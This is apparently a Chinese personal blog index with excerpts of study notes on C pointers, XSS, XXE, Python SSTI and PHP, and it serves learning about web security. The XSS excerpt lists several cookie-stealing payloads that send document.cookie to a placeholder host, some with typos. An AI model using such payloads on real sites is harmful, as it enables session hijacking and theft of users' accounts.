高中(四)
8a972074cb8fb594adf191142c932486e93700939fa69ef7f1d70305a6199e577ddbe1bf7fde32ccb8bf41316e60f46bb6efd18ac8bee3ebb7ac2b7f3f78d4bc2aa4729d8fc11b9225226d6cd5a43fdb1497f720a1a4e5e026082416275bf0cf5ee937a14bfed784a9c3e074794b9289e07a2260ca76b539850393a38676bbe445662e5d36b9c207d40505b97e1c4cd455af6bc8e42c7b528e369fe048afdb86f332093132efbf0d884adccec2535e8c25440096fb8de757b6e1637794032abfc16b290c5cfaacdaa9bba1ba0ec8d7eb96f568cf9528293a9bcdf526d06cbaf5a11e1147a891256d0fc0701168889cd78ef9cba19f1e45311 ...
C 语言指针初探
取地址运算使用取地址符号 & 来获取一个变量的地址。
123int a;printf("%x",&a);// 结果输出 60fe9c 表示变量a的地址
指针的声明在声明指针变量的时候,变量名前加 * 表示为指针变量,可以写多个 * 来表示多重指针。
对指针变量进行赋值的时候,是给指针变量一个地址,所以需要使用 & 操作符。
123int a,*p1,**p2;p1=&a;P2=&p1;
上面代码表示,声明一个整形变量 a,声明一个整形指针变量 p1,声明一个二重整形指针指针。
指针的套娃要严格地按照有多少个星号,一个多重指针只能接受来自比他少一个星号的指针的地址。
指针变量的引用指针变量使用 * 来访问其保存的内存地址里面的数据,修改 *p 会直接修改内存里面的数据。
123456int a,*p1,**p2;p1=&a;p2=&p1;**p2=3;printf("%d",a);// 输出结果是 3
malloc内存分配首先使用之前需要声明库:stdlib.h
malloc() 函 ...
XSS 的一些用法
XSS漏洞是往网页里面注入JS代码,然后让浏览器执行
偷Cookie
<img> 标签
1<img src=x onerror = document.body.appendChild(document.createElement('img')).setAttribute('src','location/?='+document.cookie); >
<script> 标签
重定向链接到 herf:
1<script>windows.location.herf='location/?cookie='+document.cookie</script>
新窗口打开链接:
1<script>window.open('location/?cookie='+document.cookie)</script>
<body> 标签
1<body onload=eval(“document ...
XXE 入门
XML实体在XML中,实体相当于宏或者变量,可以自定义。ENTITY(独立存在物,实体)
所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。
命名实体(在 XML 规范中也称为内部实体)就是我们在谈论 “实体” 时所指的实体。命名实体在 DTD(Document Type Definition 文档类型定义) 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
比如在我们使用键盘进行书写 XML 的时候,如果要输入键盘里面没有的希腊字母等文本,可以引用内部已经定义好的实体(宏定义)比如 alpha,然后将我们写下的引用替代为无法输入 α 的UTF-8编码。
123<!DOCTYPE Greek_Alphabet[<!ENTITY alpha "α">]>
这里我们就可以里利用外部能够注入 XML 文件,执行一些恶意的代码。
XML还支持外部实体引用:
1234567891011121314 ...
Python 和 SSTI
Python 和 PHP 一样,也有很多系统定义属性和方法,这些属性和方法是不需要自己定义的,在Python里面系统自动拥有的属性和方法。
这些方法和属性的访问方式是 ___XXX___ 。全部是基于类的调用。
类的保留属性类的保留属性,也就是当我们声明一个类的时候,这个类会自动生成下面的属性,里面记录着这个类的各种信息。
__doc__ 此属性记录这类的描述信息(描述信息往往是声明类的时候写的:)类和实例都有效
12345class Xorex(): 'This is a class discribing about Xorex!' passprint(Xorex.__doc__)
上面就会输出语句:This is a class discribing about Xorex!
__name__ 此属性记录着类的名称,仅仅类有效
12345678class Xorex(): 'This is a class discribe about Xorex!' passPerson=Xorex()print(Pers ...
PHP 序列化和反序列化
serialize()php支持将一个数组或者类的属性序列化为一个字符串,使用的函数就是 serialize() 函数,如果想要复原可以使用 unserialize() 函数来将一个序列化的字符串还原成原来的类或者数组的状态。
举个例子(来自与BuXuan):
12345678910<?php class test { public $name="ghtwf01"; public $age="18"; } $a=new test(); $a=serialize($a); print_r($a);?>
这个test类的变量被序列化并输出之后,会得到这样的一个字符串,这里面只能序列化这个对象里面的各种参数,无法序列化方法:
这里需要注意的是,不同类型的变量在使用序列化的时候,是不一样的,PHP的类中的属性类型有三种:public / private / protected 。
public (公共的) : 在本类内部、外部类、子类都可以访问。prote ...
PHP 常用函数
PHP(可能)常用函数
dirname(filesource)
用来返回传入的文件路径(filesource)的前面部分(去掉文件路径最后的文件名)
比如输入 D:\Xorex\Waifu\Yukino.jpg
那么使用 dirname() 就会返回 D:\Xorex\Waifu
__file__
用来返回当前文件的完全路径,比如:D:\Xorex\Waifu\index.php `
show_source(filesource)
用来返回传入的文件路径(filesource)里面的文件内容。
strchr(str_all,str_match)
传入两个字符串,str_all 是需要被匹配的文本,str_match 是去匹配的关键词,如果匹配成功,返回第一次匹配成功之后的字符串部分,如果失败,返回严格的 FALSE
die(str) & exit()
输出给定的字符串 str 并终止当前程序。
preg_match(str_match,str_all)
执行匹配正则表达式。
ini_set(str1,str2)
设置str1选项的参数为:str2
...
PHP 学习笔记
都说PHP是世界上最好的语言,我今天就要来领教一下,这篇文章主要记录PHP比较奇特的语法。
大小写问题PHP语言中,变量名称是大小写敏感的,而对于函数,方法,类名是大小写不敏感的。
局部变量和全局变量PHP的变量首先需要再前面加上资本主义的符号: $ ,这样才会被识别为变量,并且它不需要声明,使用方法和Python是一样的。
12345<?php$X=123456;$y=123456;echo $x+$y;?>
这里在函数里面声明的局部变量是没有办法被其他函数或者全局命令使用的,但是全局变量可以被各种函数里面使用,但是再函数里面调用全局变量的时候,就需要使用关键词 global 才可以。
12345678<?php$x=123;function text(){ global $x; echo $x;}?>
Static作用域当我们在函数内部申明了一个局部变量的时候,一旦这个函数执行完毕,那么这个局部变量的内存就会被释放,也就是这个变量消失了。如果你想要记录下来这个局部变量的值来供下次使用,除了使用全局变量以外,还有另外一种 ...
77
8a972074cb8fb594adf191142c932486fa150089a91c66b8340f3001ba29a975701cb30601842c937078ddc8d29d3de23e5ceea15366c0fc5164e6587535e7be3ca4e1cf4cae5e6769eab33f76cdb654d652af0ac36c28cddbe6abbf4e7b7eaacfeaf9de27415fe3bb3a5014ecfd11ac89284455e75ad073740dae3e066ce7f2ba99b569c715145f222b1779f2eea8a279b20172eaee0cd3d97a17de968600f9d2051f777f639ded568fe0c5591003c2141f95c0e08345ee02a8515ab865ca38810640fc54ce653537f4084939a87207650f62d101503f0ea8ad585f7b9ab7d4f8f85fc5305459e3c3d943148fd705353a45529b14dcf0492 ...
C 语言题库
啊啊啊啊,即使写了两年的C++代码也免不了刷题的痛苦,而且还是语言题,但是这样也能学到不少知识呢。
一阶段
一个C语言源程序是由(函数组成)
C语言规定,在一个源程序中,main函数的位置(可以任意)
在C语言中,一个函数的函数体一般包括 (参数)和 (返回值)
上机运行C源程序过程:
编辑:输入源程序并存盘(.C)
编译:将源程序翻译为目标文件(.OBJ)
链接:将目标文件生成可执行文件( .EXE)
运行:执行.EXE文件,得到运行结果。
一个函数是由两部分组成的,它们分别是(函数头) 和(函数体)。
\ 是个转义字符,比如 \x 表示的是十六进制的数字,而 \0 表示的是一个八进制数字。
十六位PC机中:char<int<long int<=float<double
实型 数据就是 浮点型
不同类型数据经过表达式计算之后,最后的结果是 表达范围最大 的类型。
C语言中 .1 表示的是 0.1 ,1.表示的是 1.0
像 printf 和 main 这些 非关键字 可以作为变量名使用!
逗号表达式整体的值为 最后 一个 ...